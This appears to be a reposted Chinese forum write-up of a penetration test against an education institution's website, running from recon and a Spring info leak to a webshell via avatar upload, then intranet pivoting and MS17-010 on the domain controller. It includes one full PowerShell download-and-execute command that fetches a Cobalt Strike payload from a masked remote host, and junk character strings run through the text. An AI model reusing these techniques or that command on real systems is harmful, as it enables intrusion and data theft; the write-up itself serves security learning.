|
) }* A( i: |8 x" n1 M/ d
这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
5 I, L6 Z- ^! G3 R1 O" C2 y
: e! ~4 w: F W4 K T8 {0 l4 F' v& d" Q, M7 _0 Q% `) z8 L' u
" T8 G8 `: ^% l3 [3 y) F( z
% x2 r4 p' U3 p5 p
% P6 o. k1 [9 i+ A, | 正文
# `7 M/ e8 F% V* Q& m
& k3 f. g2 ^2 r' D' O6 y2 H# g. S1 o& X4 n( e
5 u2 l# z( ^, \- q" l
! [+ J- ^ b7 C. A9 ]8 i
0 m; e: a: T3 L' f 目标:www.xxxx.com(一家教育机构)
$ J& |; N* `% X$ V% J) _! C) w4 ?打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
+ Q" Q% f! i. ?: ?9 t3 z
* z* Q$ n/ r; o8 x. O, g- e' H6 F4 M
5 j- I# F e' e* z+ J% W+ D" o& p+ u ' t v7 N2 z( `* `% G" J2 T& L
3 H' T6 ]& F5 B& s( Y8 p8 s
! c& ^- Y, X5 [: s- n. P7 S' }( A
进行了简单的信息搜集 ' L0 t# N0 e2 ?. z& d+ m
+ g# H9 M/ A1 s$ D2 H
; _" T6 w" u$ b) E, W* Q& _' f 7 C' l; W) A3 I+ I# E) c
' v5 ^0 A1 \& \' J 子域名搜集# |) v& e, ~, } F
8 a8 ?2 H$ Z ?8 B, |2 S0 M8 r) i
1 E1 v9 [ ?, G/ \! c' E
1 N( U; Z- J- g( Q: o, @* T7 k
8 q0 W( w; x# t9 `
" q; d! ~! I4 i+ x& ^' d fofa找资产
9 P: w \6 {! h4 i& r
& F4 C2 ~3 J' o* _, D+ a0 c+ ^2 c
$ y# p+ [% v) v% ?+ i
# W: B& ~( u3 T
% E+ _3 d, q% } {% H J4 W2 t
9 i, F! z6 X5 I, B $ E O2 p5 F/ \" y L4 i r
: h$ l6 m1 _9 C1 [* f, H
一共七个资产。去重之后只有两个。
4 a" j3 t- |% v1 I7 C
% _4 { S! T+ y8 }/ u- N: ~+ Q$ x5 G9 T8 b
/ X8 R0 O1 I2 W; @/ [& d# L- K& a3 i+ m* @' u H
目录探测
& g/ e; ?0 k" t+ w. w4 V
3 c: |" o" b E5 C7 A6 T' d: Q
, A5 a! u. `& y & `, q( [' q% ^: r* z4 M5 H4 d
# N( k. T9 u/ w8 Q$ E4 s' v7 |. t3 a ^0 R
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有 6 K9 F- s, x5 \ U- E/ q( B$ _( `
u* @; n1 ^2 l) C" H( S1 b n2 y# F
1 Z2 t/ W$ B, O1 U( T& p* q
" m1 a" ?/ U* Q$ C" P+ o( B 我又尝试了通过修改返回包来绕过登录界面/ b* q' q1 T5 h( D6 A5 l
' }* Q0 o. x" s2 S
4 H/ l- L4 P0 J7 f
% Q( y7 g8 j k ]
R6 Q( O h, G+ X& a- f0 f. Z2 f4 b& j2 r9 O4 w! y3 Y
还是不行,尝试注入无果* g7 f& J, J- M5 a# z% x2 S& r; t7 }8 p
' y+ g9 x$ C3 g& T! V0 a0 P
7 C8 G7 m) Q% C# M. d3 M" M, |
# f9 \! [2 ?2 f9 I W ! z3 s) \4 d" j
1 u: x) P4 G4 {2 u5 I+ w5 o
不过我目录探测出了一处Spring信息泄露
2 `( ]+ U: B& E( d% D
2 T/ O! S( M2 S$ I
; }; g4 Q# x. W" ?, g ; r5 t0 x2 e2 w8 x
w, d* O) h4 D 0 d( E0 q" v% {# A, {6 K
5 Y5 g8 q- A6 \! K( f9 G
+ Z& s& I6 m3 m 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录- C; u! \: N; m: @3 ?
2 z L' L( `$ V5 [& Y8 \9 w2 `- B+ w+ A9 g! U
# [2 o1 n+ d) d7 S3 s2 D }* L
8 M2 c% s$ Q G$ `7 t, T, q
" o, m) M" \* i `3 H 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。- p3 P( \4 Z% p1 g1 H
/ K/ F1 X8 q; u. j, N
c# P0 w: ~& O
* I+ T+ m% d6 F% M ; U) }" P. B+ V; z& O5 X6 ~' l
% r: h5 }5 Z' Z" n8 X/ ] 获取有些师傅到这一步就手机抓包电脑测了。+ K9 G0 C; N( j3 M0 |# L
( }+ @$ G. k+ v1 ~; {- w5 Y
8 ~4 g3 ]3 t2 B Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。4 I3 x$ X' e- }5 L- x
; L K1 k% R0 p$ g- u
0 t+ H7 ]; x. F0 d! K: `4 X 其中在一个公众号发现了小程序,可以进行注册。: ]/ `: s. j( n
7 V" P: _4 `8 E- p; z! H
2 p# x. \9 \& o% [
看到了头像上传,尝试上传获取WebShell# v! |! l: l, P! o" h* M
4 C! U) A) x2 F c* ?6 z% o/ q4 l) E
. f+ K1 g1 [% a* P7 p% X8 D/ m : t5 W+ ]$ v" b& t
+ f- Q) X& q/ Y7 a( F: W$ o7 p
) }/ }5 R" d/ U+ ?& K L
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问) k* z8 \$ q& l
3 f. V2 d2 k+ S6 \) o
- l; m) [% C8 \% d0 ]' C4 W& M& r 5 C p- a2 ]* u5 K7 y: O
3 Q6 F: z {6 o, b7 \) N1 @1 }" J+ }5 ~. c, {$ p
然后上了大马7 o+ Q Q& [/ X+ B0 s- Y
# M( z: D j) @4 \ e7 }
& I) s( a4 x! a a9 V+ v ( [1 j+ F* b7 R, k
( K( P- o# ~9 W* f* s
$ j6 Q" Z% [ W# _% H( f
) P* y _8 E" ^9 u" C* M0 Y 9 I/ _ k2 k, J
) W& j" W6 T8 q* M. n+ }/ P
通过翻找文件发现数据库账号密码1 @/ W! U/ A4 j% }1 ?
/ {, e% f1 `+ h3 @! E5 K/ R- z1 J; r* G, Z6 H5 C3 C
# }& r: w S0 T8 C/ t
6 B1 Y$ \6 [- P( t
) |# a9 ?+ Y8 Q; K
--内网渗透
) P- @9 ]5 B3 t6 p$ [3 V6 R+ j" f 1 n! h: |; E" Z+ Z1 j
4 T% Y: ^4 ?& I5 I* L0 _) A+ `
直接通过powershell执行 cs上线
- R" q8 S, k0 Y- y% o : Q+ I1 D! o% _( c4 ^) @( X
5 f6 _( J( c! P- G4 X
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
1 V# L {* M5 Q7 R- _
+ @8 b+ ]9 X5 u5 y0 R# W( }5 G
" Z! W7 ~: n0 \9 F" w! w0 Y 9 y* b+ b1 I4 X7 c \! u& W
$ ~( J, X ? S/ w# o
2 l! ?- r, `, q) f/ y. [8 c7 } 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
9 x- L6 c0 W: D, E
. M# |& \3 k3 Z
' [: e3 V$ a- O/ M( w. } X
+ k. X/ R& r9 T! ~& f
- G" M0 n" f2 y( c+ V- \# a" H. L* A: `- | a( ^" i
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
' E9 x D4 d! T+ _ / c6 T; m3 B1 b2 ]! n7 {1 q6 M
5 _4 {9 U9 M3 H0 b) e1 D2 \
- X+ D, u4 R( u
3 o: }( R! c% v, O( Q, o% |$ f1 |7 [( Q, [$ s* d
4 F2 Z0 P/ F; c: F, H% E
4 x j8 h/ u0 q7 t& t7 D1 {+ ]: P& ?0 B) W% M/ @( i5 e& {7 o; ]
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
. K' Z% Q2 `6 O. a1 b ! Y+ {+ d4 Y1 Y' L
2 q: X4 a) _. i4 W- U) }
- o& d6 ^# i3 ]
% y2 `9 m$ j8 _" x/ r! O1 ~
r+ ]; o9 B* P4 s. U6 X $ |7 m- I9 X# F: f. O* E
4 ]; m! y8 G& u& d w
" D: m6 S7 b Z& v / Q; D0 g. F2 i+ \& b( G
( ^7 N& i9 w% l) r7 `; h
8 s) T9 ^" O8 I! G
+ g1 V4 A* W; J6 Q% G ! @8 n6 `4 X/ k. p
5 ?* s5 d( s/ z/ \) K( R0 J. `/ ?
# @/ F. N! S+ W& r9 p2 h; }& | 小结
( ~9 [0 k8 @5 b, D/ |
5 ~( K6 w1 d j2 R! |; I& f5 {5 M0 } Z+ i0 O0 a
4 a$ _# C5 ~0 H
0 n' W O+ o3 P4 X* Q2 x
2 ~1 P* O3 x7 b( p, {6 R 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!) ~( ^- U: m/ [( y
% v/ U. R1 ^" m( f0 D
1 a7 \% S( \7 O% {6 e2 R
( ]7 `4 Q1 ?+ H$ W) h( r
- ]6 V& k9 X( T# c; J; d" K; Z' \) R) l* Q+ l+ `8 w
- 2 P( f' }5 X8 ~9 X* {( I
: l% V( ]" C$ ^: S
0 W+ U$ ~4 B- R5 J7 D c -
5 G4 v: U* w/ |9 Q4 m) _$ \
4 z0 u. d( U* l' Q$ ^; w/ o
9 L# `% @0 K. P I
) r- C9 u5 H/ `8 w* a* |3 u$ p. z: C- x6 [4 e
作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html! Q. h3 F! d3 I$ x5 G% Y% l1 o `
3 w2 e' x3 ?3 X
: b! C4 I6 c( M+ H
5 q# a/ W9 X: D$ Y
|